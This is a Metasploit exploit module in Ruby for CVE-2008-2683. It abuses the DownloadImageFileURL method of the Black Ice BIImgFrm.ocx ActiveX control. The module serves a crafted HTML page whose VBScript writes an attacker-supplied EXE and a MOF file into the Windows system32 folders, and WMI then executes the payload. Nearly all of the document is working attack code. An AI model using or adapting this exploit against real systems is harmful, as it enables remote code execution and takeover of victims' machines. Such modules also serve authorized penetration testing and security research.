Black Ice Cover Page ActiveX Control Arbitrary File Download

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec

  #include Msf::Exploit::Remote::BrowserAutopwn
  #autopwn_info({
  #  :os_name => OperatingSystems::Match::WINDOWS,
  #  :ua_name    => HttpClients::IE,
  #  :javascript => true,
  #  :rank       => NormalRanking,
  #  :classid    => "{79956462-F148-497F-B247-DF35A095F80B}",
  #  :method     => "DownloadImageFileURL",
  #})

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Black Ice Cover Page ActiveX Control Arbitrary File Download',
      'Description'    => %q{
          This module allows remote attackers to place arbitrary files on a users file system
        by abusing the "DownloadImageFileURL" method in the Black Ice BIImgFrm.ocx ActiveX
        Control (BIImgFrm.ocx 12.0.0.0).  Code execution can be achieved by first uploading the
        payload to the remote machine, and then upload another mof file, which enables Windows
        Management Instrumentation service to execute the binary. Please note that this module
        currently only works for Windows before Vista.  Also, a similar issue is reported in
        BIDIB.ocx (10.9.3.0) within the Barcode SDK.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'shinnai',  # original discovery
          'mr_me <steventhomasseeley[at]gmail.com>',  # msf
          'sinn3r'    # wbemexec tekniq
        ],
      'References'     =>
        [
          [ 'CVE', '2008-2683'],
          [ 'OSVDB', '46007'],
          [ 'BID', '29577'],
          [ 'EDB', '5750' ],
        ],
      'DefaultOptions' =>
        {
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Payload'        =>
        {
          'Space'           => 2048,
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          #Windows before Vista
          [ 'Automatic', { } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2008-06-05'))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)

    if request.uri.match(/\.EXE/)
      print_status("Sending EXE payload...")
      send_response(cli, @payload, { 'Content-Type' => 'application/octet-stream' })
      return
    elsif request.uri.match(/\.MOF/)
      return if @mof_name == nil or @payload_name == nil
      print_status("Generating mof")
      mof = generate_mof(@mof_name, @payload_name)
      print_status("Sending MOF")
      send_response(cli, mof, {'Content-Type'=>'application/octet-stream'})
      return
    end

    url =  "http://"
    url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/"

    #VBScript variables
    clsid                 = "79956462-F148-497F-B247-DF35A095F80B"
    method                = "DownloadImageFileURL"
    blackice              = rand_text_alpha(rand(100) + 1)           #BlackIce object ID
    @payload_name         = rand_text_alpha(rand(10) + 1) + ".EXE"   #Payload name
    payload_vbs_url_name  = rand_text_alpha(5)                       #Payload's vbs var name
    payload_vbs_lpath     = rand_text_alpha(6)                       #Payload's lpath var name
    @mof_name             = rand_text_alpha(rand(10) + 1) + ".MOF"   #MOF path on victim machine
    mof_vbs_url_name      = rand_text_alpha(5)                       #MOF's vbs var name
    mof_vbs_lpath         = rand_text_alpha(6)                       #MOF's lpath var name
    sub_name              = rand_text_alpha(rand(10) + 1)            #Subroutine name

    #Slow connection friendly: We will wait for 4 seconds before we try to execute our payload
    #This delay seems necessary before calling mof, otherwise we end up interrupting downloading
    #our payload
    content = <<-EOS
    <html>
    <object classid='clsid:#{clsid}' id='#{blackice}' ></object>
    <script language='vbscript'>
    sub #{sub_name}
    #{mof_vbs_url_name} = "#{url}#{@mof_name}"
    #{mof_vbs_lpath} = "C:\\WINDOWS\\system32\\wbem\\mof\\#{@mof_name}"
    #{blackice}.#{method} #{mof_vbs_url_name}, #{mof_vbs_lpath}
    end sub

    #{payload_vbs_url_name} = "#{url}#{@payload_name}"
    #{payload_vbs_lpath} = "C:\\WINDOWS\\system32\\#{@payload_name}"
    #{blackice}.#{method} #{payload_vbs_url_name}, #{payload_vbs_lpath}
    setTimeout "#{sub_name}()", 4000
    </script>
    </html>
    EOS

    #Clear the extra tabs
    content = content.gsub(/^ {4}/, '')

    print_status("Sending exploit HTML")
    send_response_html(cli, content)
    handler(cli)

  end

  def exploit
    @payload = generate_payload_exe
    super
  end
end